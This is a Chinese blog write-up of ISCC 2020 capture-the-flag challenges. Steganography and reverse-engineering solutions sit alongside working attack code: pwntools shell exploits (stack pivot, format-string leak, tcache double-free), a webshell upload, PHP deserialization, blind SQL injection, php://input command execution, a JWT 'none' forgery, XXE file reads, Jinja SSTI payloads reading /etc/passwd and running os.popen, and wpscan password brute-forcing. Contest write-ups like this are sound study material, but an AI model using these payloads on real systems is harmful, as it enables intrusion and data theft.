我好菜啊,好多题都妹写出来,可能我害妹入门吧
ISCC简介:(复制粘贴来的)
信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设,信息系统越发展到它的高级阶段,人们对其依赖性就越强,从某种程度上讲其越容易遭受攻击,遭受攻击的后果越严重。“网络安全和信息化是一体之两翼、驱动之双轮。没有网络安全就没有国家安全。”信息是社会发展的重要战略资源,国际上围绕信息的获取、使用和控制的斗争愈演愈烈,信息安全保障能力是综合国力、经济竞争实力和生存能力的重要组成部分,是世纪之交世界各国奋力攀登的至高点。
信息安全与对抗技术竞赛(ISCC:Information Security and Countermeasures Contest),于2004年首次举办(国内第一),2020年为第17届。2019年竞赛的注册人数近7000 人,参加竞赛的院校数1000 多所,ISCC竞赛的影响广泛且深远。竞赛不断追求“更高、更快、更强”,持续培养高素质信息安全对抗专业人才。
摘自官网: ISCC
Content:
有些题目妹写出来,(我好菜啊)
有些题目写了,但是环境妹有了复现不了......
所以就只能挑一些能复现的题目写wp了
MISC
签到题:
大水题,就是没看懂flag,后面发现还一层维吉尼亚加密......试了无数次错误的flag
签到 high
签到 high
题目说明忘记截图了......比赛平台关闭了呜呜呜,大概就是一个看JOJO的出题人在口嗨,也没啥有用的信息
文件名:high,第一反应:修改高度
Winhex修改IHDR 中的数据,将第三个字节的值改大一点即可
这里随便一个编辑器就行,不一定要Winhex
这里随便一个编辑器就行,不一定要Winhex
看到“flag”
看到“flag”
你以为你看到flag了,实际上不是
交了无数遍,怀疑自己敲错了,后面试试是暴力破解flag,康康能不能破解出可用信息......
最后发现是维吉尼亚加密,密钥是文件名:high(此时已经暴打出题人无数次
ISCC{W3lcome_to_Mi5C_Wryyy}
ISCC成绩查询-1
binwalk 一遍啥事没有,Stegesolve 跑一波
看到一个欧拉图?(大概
LSB分析,看到欧拉图
LSB分析,看到欧拉图
解出欧拉回路,找到可行解
做出欧拉回路
做出欧拉回路
得到 TRLNCHHAFCIEEIEEPR
做栅栏解密,做到三栏的时候得到可读字符串,解出flag
flag{THERAILFENCECIPHER}
寻找小明1
题目提示:最低位的背影
最低位的背影
最低位的背影
直接LSB,找到一个二维码
找到二维码
找到二维码
扫描进入一个站点,唯一有用的信息就是一串数组
[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]
这个形式大概是坐标了,用python的PIL绘图
from PIL import Image
img=Image.open("a.png")
img_array=img.load()
a = [257,1,
258,2,
259,3,
260,4,
261,5,
262,7,
263,8,
259,277,
438,300,
455,319,
25,300,
456,400,
66,366,
78,300,
421,259,
452,23]
ret = ""
for i in range(len(a)/2):
b = img_array[a[i*2],a[i*2+1]]
print(b,chr(b[0]),chr(b[1]),chr(b[2]))
ret =ret+chr(b[0])
print ret
得到RGB,RGB的R再转换成chr,得到flag:flag{ISCC*funny}
锟斤拷
毒瘤题,MISC硬生生打成RE (学弟出的题,向后辈致敬
锟斤拷
锟斤拷
首先看到 garbled-char.png 这个图像,“锟斤拷”三个大字,明显指出了这道题与编码有关, 更具体点应该是 gbk 与 unicode 。 然后MISC常用解法,先 binwork 一把梭,发现有东西,直接foremost 出来
binwalk
binwalk
得到文件,但是flag有密码
得到文件,但是flag有密码
首先看看 pwd.txt,发现用默认的 utf-8 编码无法打开,想想之前的“锟斤拷”,试着用 gbk 编码打开,得到下列字符串:
佛曰:梵除他罰耨離滅他侄亦梵倒瑟俱集怯羯麼諳殿瑟梵摩奢真冥般南得呐礙楞諳伽悉呼怯悉俱知。呐至呐娑俱數舍道哆想摩諳等怖冥依皤盧皤心礙隸呐曳怯無藐。怖奢離那
直接佛与论禅 跑一波
把字符串当作密码输入,不正确,还差了点,继续从剩下的文件找线索。 useful 文件像是一个程序,但无法运行,先放在一边。 information.txt 的第一行写了“for useful”,解读了这个文件,或许就能让 useful 运行了。
看剩下七行,第一个字符总是 g,b,k 中的一个,第二个字符是 1-7,之前又说与 gbk 有关, 似乎可以给行排个序? 按照感觉比较合理的顺序排个序,例如:g1,b2,k3,g4,b5,k6,g7。
继续看每行后面的内容,似曾相似,似乎是经典的凯撒密码,每行格式相似,而且既有数字也有小写字母,数字也比较连续,看样子数字和小写字母是分开使用交换加密的, 循环应该分别是 10 和 26,但是偏移量是多少呢?(此处省略脑部过程) 继续想到 gbk 和 unicode ………… u n i c o d e,一共是 7 个,g b k g b k g 也一共 7 个, 是不是从 g b k g b k g --> u n i c o d e 呢?字符对应的差值就是每一行对应相应的偏移 量?赶紧写份代码试试…… 运行后果然得到了下面的结果:
看样子是对 useful 异或加密了,而且还是分段的,写出解密程序,对 useful 进行解密。 用 file 命令判断下文件类型,果然是 ELF 文件。
拖到 ida 里面,发现函数很少,感觉被加了壳,继续分析,发现是简单的 upx 壳,直接脱壳即可。
脱完壳继续拖到 ida 里面,找到 main 函数,打开 graph 视图,发现逻辑很复杂,不像一般 的程序,比较像虚拟机之类的程序。
打开字符串窗口,看下是否有一些信息,发现了大量 Py 相关的字符串,有一条明确指出为 Python VM,看样子是 Python 虚拟机没错了,应该是 Python 脚本的包装器。
最常用的无疑就是 Pyinstaller 了,通过 pyi-bootloader-ignore-signals 等字符串也说明了是 该 ELF 是 Pyinstaller 打的包,开始反编译吧。 查找资料发现,有一款叫 pyinstxtractor 的开源程序可以反编译 Pyinstaller 打包程序,为了 防止一些奇奇怪怪的事情发生,我们直接到 github 上找最新的程序源码。 实验后发现 pyinstxtractor 只能解包 exe,不能解包 ELF……先放在一旁吧…… 继续查阅资料,发现 PyInstaller 自带 pyi-archive_viewer 这样一款工具,可以去提取可执行 文件中(当然包括 ELF)的 py 代码,有戏! 根据文档,我们可以把 pyc 文件 dump 出来,这不就相当于得到源码了吗! 用 pyi-archive_viewer 很简单就找到了 useful 这个 pyc 文件,同时发现了 cpython36 等字 样,说明该文件是在 python3.6 下用 PyInstaller 打包的。 现在 dump 到 pyc 文件,开始反编译吧。
反编译时工具很多,这里使用 uncompyle6。 但却发现出错了,有什么问题吗? 继续查阅资料,发现 PyInstaller 在打包.pyc 时,会把.pyc 的 magic 和时间戳+大小参数去 掉,而且各个版本所占字节数不同,同时用 pyi-archive_viewer dump 时并不会自动还原, 只好自己修复,时间戳+大小参数可以随意(可以用 00 填充),但 magic 应该怎么获取? Python 3.6 在 pyc 文件头该增加什么?回想起之前好像有个开源的 pyinstxtractor,而 Pyinstaller 在不同平台用的打包方式应该很相似,可以通过源码学习一下。 通过研究 pyinstxtractor 源码,我们知道了 pyc 缺失的部分的格式。 magic 可以使用对应版本的 python 获得,而 python 3.6 的 magic 后面还需要 8 个字节(时 间戳+大小参数),下载 Python 3.6,获得四个字节的 magic,故 pyc 一共缺失 12 个字节。
我们得到了 pyc 缺失的部分,手动用 hex 编辑器补上。
然后用 uncompyle6 反编译,得到 py 源码。
通过分析发现,这个有用的字符串(也就是需要加在之前获得的字符串后面的字符串),先 通过了10次base64编码,再通过输入的pos切片,分别进行a85(Ascii85)和b85(RFC1924) 加密后拼接,与目标字符串比较判断是否正确。经过分析,我们可以逆推出 useful String。
输入的 pos 是多少?看 main 前面的表达式我们似乎可以算出来,但是次方过大,无法直接算,发现有取模运算,于是可以用快速幂得到 pos 为 112(当然也可以用数学方法). 但此时的 pos 并不是 targetStr 的切片点,因为 a85(Ascii85)的加密方式是以 4 个字节为一 组加密为 5 个字节,故实际的 pos = 112 // 4 * 5 = 140 ,此时就可以开始编写解密脚本了。 最后得到字符串“\xef\xbf\xbd”,这不就是“锟斤拷”的“罪魁祸首”之一吗? 与之前的“我是没有用处的,除非你在后面加点什么”相连,得到密码,解压 flag.rar,得到 flag
flag{gbk&unicode^_^YOu-gOT+It}
# 这真的是我做过的MISC吗??????
# 后生可畏,后生可畏
千层啊千层
千层套路
カサネカサネテ(千层啊千层)
カサネカサネテク(千层的套路)
カサネカサネテ(千层啊千层)
カサネカサネテク(千层的套路)
Ps:歌曲《千层套路》对解体毫无帮助,相信出题人偷来的一点良心吧!
Gif文件:
提取8个图片,拼接得到:
用binwalk扫描gif,得到文件中含有一个rar,fomemost出来
用图片中得到的密码解压文件,得到文本文档和PDF:
文本文档是图片像素的RGB信息:
将图片还原,得到:
PDF的最后是flag的后半段:
复制“句号”
复制“句号”
flag后半段
flag后半段
得到flag:ISCC{Aga!n_aNd@GaiN !_}
# 这个句号确实想了很久......不说了,出题人已经被打了好几顿了
DIO(擂台赛)
和上一题同一个出题人......
“一个人太孤单了”(好像题目提示是这个来着
先binwalk,得到两张图
扫描二维码得到:Useful_Massage_1(SVNDQyU3QmZsQGdfaXN)
分析LSB隐写得到第二条信息:Useful_Massage_2(fa09fTjBfRCUyMW9fZGFhYWElMjFfXyU3RA==)
组合起来得到:SVNDQyU3QmZsQGdfaXNfa09fTjBfRCUyMW9fZGFhYWElMjFfXyU3RA==
进行BASE64解码得到flag:ISCC{fl@g_is_kO_N0_D!o_daaaa!__}
# 这道题还比较善良
RE
苏大强的保险箱-1
直接进IDA,找到核心加密函数:
直接写解密py脚本
a = [0xA, 0x7, 0x41, 0xB, 0x2C, 0xC, 0x3D, 0x38, 0x27, 0x73]
b = [0xD5, 0x9E, 0xB4, 0x70, 0x78, 0x60, 0x82, 0x70, 0x39, 0x5E]
m = []
s = []
for i in range(10):
m.append(b[9 - i] - i - a[i])
print(m)
for x in m:
s.append(chr(x))
print(s)
得到的值是反的,手动逆序一下,(或者改一下py脚本逆序一下,我比较懒,直接手动逆序了
得到flag:flag{You-g0t-1T}
苏大强2
拖进IDA,找到加密函数,发现是RC4......,直接百度RC4解密函数
初始化
初始化
RC4加密
RC4加密
然后写解密程序:
#include <stdio.h>
#include <string.h>
char k[] = "a1dWT1pJXF1USVxRV1ZbUElQSVBJ";
char enc[] = {-99, -121, 113, -92, -125, 11, -86, 83, -60, 56, 54, -123, 0};
void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len)
{
int i = 0, j = 0;
char k[256] = {0};
unsigned char tmp = 0;
for (i = 0; i < 256; i++)
{
s[i] = i;
k[i] = key[i % Len];
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j]; //交换s[i]和s[j]
s[j] = tmp;
}
}
/*加解密*/
void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j]; //交换s[x]和s[y]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}
unsigned char v19[256]; // [rsp+A0h] [rbp+20h]
unsigned char v20[256]; // [rsp+1A0h] [rbp+120h]
int main(int argc, char const *argv[])
{
rc4_init(v19, k, strlen(k));
rc4_crypt(v19, enc, 12);
puts(enc); // 1amSuda7iang
return 0;
}
得到flag:flag{1amSuda7iang}
PWN
pwn1
盲打打上头了,blindpwn牛逼
nc过去得到地址,直接盲发100个地址过去,盲打得到flag......(不知道有没有正常解法
from pwn import *
hack ='/bin/sh'
rdi_add = 0x40060d
payload1 = p64(rdi_add)*100 + hack
io = remote('101.200.240.241', 7000)
io.sendline(payload1)
io.interactive()
我二进制太菜了,也就只能写一点这种签到题了【/卑微】
pwn2 pwn3 没写出来,以下为出题人的WP(阿威 tql,阿威ddw
baby_mips
在 ask() 函数中提供了8字节大小的栈缓冲区,而 read() 函数向其中可以读入12字节,造成了4字节的栈溢出。
溢出的4字节覆盖了 fp 寄存器所保存的父栈帧的地址,故可以于 ask() 函数返回时篡改fp寄存器的值。
由此可以想到利用栈迁移的方式进一步篡改 ra 寄存器的值,进而达到劫持控制流至后门函数 something() 处以获得 flag 。
栈迁移的目的地址为全局变量 name 在 .bss 段中的地址。由 main() 函数末尾处为 ra 寄存器赋值的指令计算可知,此时已被劫持至 name 处的 sp 寄存器,其偏移 +28 处即为内存中所保存的 main() 函数的返回地址。故在最初读入 name 时在偏移 +28 处填入 something() 函数的地址即可实现攻击。
from pwn import *
context.arch = 'mips'
context.endian = 'little'
io = process(["qemu-mipsel", "./baby_mips_server"])
io.recvline()
io.send('A'*28 + p32(0x00400648))
io.recvline()
io.send('A'*8 + p32(0x004913A0))
io.interactive()
note_once
使用 change_pwd()
中的格式化字符串漏洞泄露 libc 基地址
使用 tcache 的 Double Free 漏洞修改 __free_hook
为 system()
函数的地址
take note 一个 "/bin/sh\x00"
,并 free,便相当于调用了 system("/bin/sh\x00");
#!/usr/bin/python2
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
io = process('./note_once')
elf = ELF('./note_once')
libc = ELF('./libc.so')
def take_note(size, data):
io.recvuntil('>>> ')
io.sendline('1')
io.recvuntil('Size: ')
io.sendline(str(size))
io.recvuntil('Data: ')
io.send(data)
io.recvuntil('Done!')
def free():
io.recvuntil('>>> ')
io.sendline('2')
io.recvuntil('Done!')
io.sendline('username')
io.sendline('password')
io.recvuntil('>>> ')
io.sendline('3')
io.recvuntil('as: ')
io.sendline(b'%7$sAAAA' + p64(elf.got['puts']))
io.recvuntil('password: ')
puts_addr = u64(io.recvuntil('AAAA', drop = 'True').ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols['puts']
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
take_note(32, 'B'*32)
free()
free()
take_note(32, p64(free_hook))
take_note(32, 'B'*32)
take_note(32, p64(system_addr))
take_note(16, '/bin/sh\x00')
io.sendline('2')
io.interactive()
WBE
终于到web了,web狗落泪
前面好像有几个大水题,不记得了,复现不了,做了啥我也忘了(x
php真爱粉
这道题我把源码抄下来了,复现一下:
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>
注意这个:$good = unserialize($data);
典型的反序列化,直接跑exp:
<?php
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
$a = new baby();
$a->file='flag.php';
echo serialize($a);
?>
exp输出为:O:4:%22baby%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
得到payload:http://101.201.126.95:7003/index.php/?data=O:4:%22baby%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
What image can do
题目提示:“传最xx的图,做最意想不到的事”????(ghs举报了
文件上传,没啥难度,直接用copy 1.jpg/b+1.php test.jpg
命令把一句话木马和正常图片复制到一起,绕过waf检测,上传上去,找到查看文件位置,然后通过下面的“查看”按钮利用木马,菜刀连接
这道题的难点是靶场被搅屎......
在我百思不得其解为什么我的马传不上去的时候,知乎告诉了我答案 ......联系运维的学长,重置一下环境,getshell完成
阿森的爱情2
别问阿森的爱情1为什么没做,问就是不会
阿森爱情2:order by盲注
过滤了括号、等号、like、分号,bool和时间盲注可能性不大
union和select都没有过滤
输入 username=' union select 1,2,3# 回显 2 判断回显位置是2的地方。
# python 2
import requests
url = "http://101.201.126.95:7006/"
list1 = "0123456789abcdef"
payload = ""
payload1 = "admin' union select 1,9,'"
payload2 = "' from admin order by 3 #"
data = {"username": "", "password": "1", "submit": "enter"}
tmp = ""
tmp = ""
for j in range(0, 32):
for i in list1:
payload = payload1 + tmp + i + payload2
data["username"] = payload
print(data)
r = requests.post(url=url, data=data)
# print r.text
if "</body>admin" in r.text:
tmp += tmp
print
tmp
break
if ("</body>9" in r.text) and (i == "f"):
tmp += i
print(tmp)
tmp = i
爆破出一个md5值 bfe42ac26e273ef3a859a651e0a02df0
或者 bfe42ac26e273ef3a859a651e0a02df1
或者 bfe42ac26e273ef3a859a651e0a02dff
解密结果: iloveishuai
# 阿森实惨
Where is the file
大水题,get一下然后任意代码可执行
payload:http://101.201.126.95:7009/?file=php://input
post这些:
?file=data://text/plain,<?php system("ls");?>
?file=data://text/plain,<?php system("cat flag.php");?>
方法二:filter伪协议,php://filter
http://101.201.126.95:7009/?file=php://filter/read=convert.base64-encode/resource=flag.php&hello=flag.php
未知的风险1
题目提示:“只有user能够进入”
点进去啥也妹有,然后修改token发现可以有返回值
JWT+XXE
修改找到jwt的三个参数,修改id参数,将id 的值改为user
import jwt
token = jwt.encode({
"id": "user",
"iat": 1588855993,
"jti": "e205efa2ebb98c828e0c74a943280749"
},algorithm="none",key="").decode(encoding='utf-8')
print(token)
得到token,Burp转发,进入一个登陆界面
看到他的验证js:
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
发现可以执行XXE漏洞,直接跑脚本
import requests
import base64
url = 'http://101.201.126.95:7001/doLogin.php'
username = ' &entityex;'
p = '<!DOCTYPE Anything [<!ENTITY entityex SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]><user><username>' + username + '</username></user> '
s = requests.post(url,data = p)
print(s.content)
s1 = 'PD9waHANCiRQQVNTV09SRCA9ICdmbGFne2dldF90aGVfbWV0aG9kZH0nOw0KPz4NCg=='
s2 = base64.b64decode(s1)
print(s2)
得到flag
擂台赛:
只做了web擂台,出了一道擂台题,phpmyadmin没关,被搅屎了(我好菜啊
原擂台:python模板注入
尝试的payload:
().__class__.__bases__[0].__subclasses__()
().__class__.__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()
aa.__class__.__init__.__globals__['__builtins__']['eval']("dir()")
aa.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os')")
aa.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
{{aa.__class__.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flog").read()')}}
最终payload:
http://101.201.126.95:7050/{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}
//遍历基类 找到eval函数
{% if 'eval' in b.keys() %}
//找到了
{{ b['eval']('__import__("os").popen("cat flog").read()') }}
//导入cmd 执行popen里的命令 read读出数据
{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
我的擂台:http://94.191.116.98:64555/
本来是想出一个wpscan的实战题的......然后phpmyadmin没关,还没设密码,直接被人日穿了,改了我的admin,还改了我的主页(呜呜呜我怎么这么菜
在我修复bug之后,官方答疑群:
哎,有什么办法呢,谁让我这么菜(
原wp:
靶场
靶场
一个成熟的CMS,那就用成熟的exp: wpscan一顿嗦:
wpscan --url http://94.191.116.98/
没有插件和备份,不好直接入手
看看第一页提示:
Maybe you could contect someone
暗示我们联系别人,尝试一下爆破用户名
看到两个用户:admin, jerry
然后开始尝试爆破两个用户的密码:
在使用已有字典跑完没效果之后,我们跑一下cewl
用cewl生成一个针对该网站的字典:
cewl http://94.191.116.98/ -w pass
w然后分别爆破admin和jerry的密码:
wpscan --url http://94.191.116.98/ -U jerry -P pass
wpscan --url http://94.191.116.98/ -U admin -P pass
admin爆破无果(那就放弃吧,这是出题人自己的账号
jerry爆破得到密码:egIsntHe
登陆jerry的账号试试: 回到主页,看到flag:
flag{wEak_pAsS_1s_deNge20us}
小结
今年打ISCC的时候事情有点多(尤其是考试和某比赛,做起来有点顶)然后这个题目量也有点顶,最后一天大概前600都没保住......
还是太菜了,web部分要继续加强,二进制也得入个门......MISC,随缘了
然后以后出题要更谨慎一点,搅屎棍比我想象的要厉害的多(太难了
Comments | NOTHING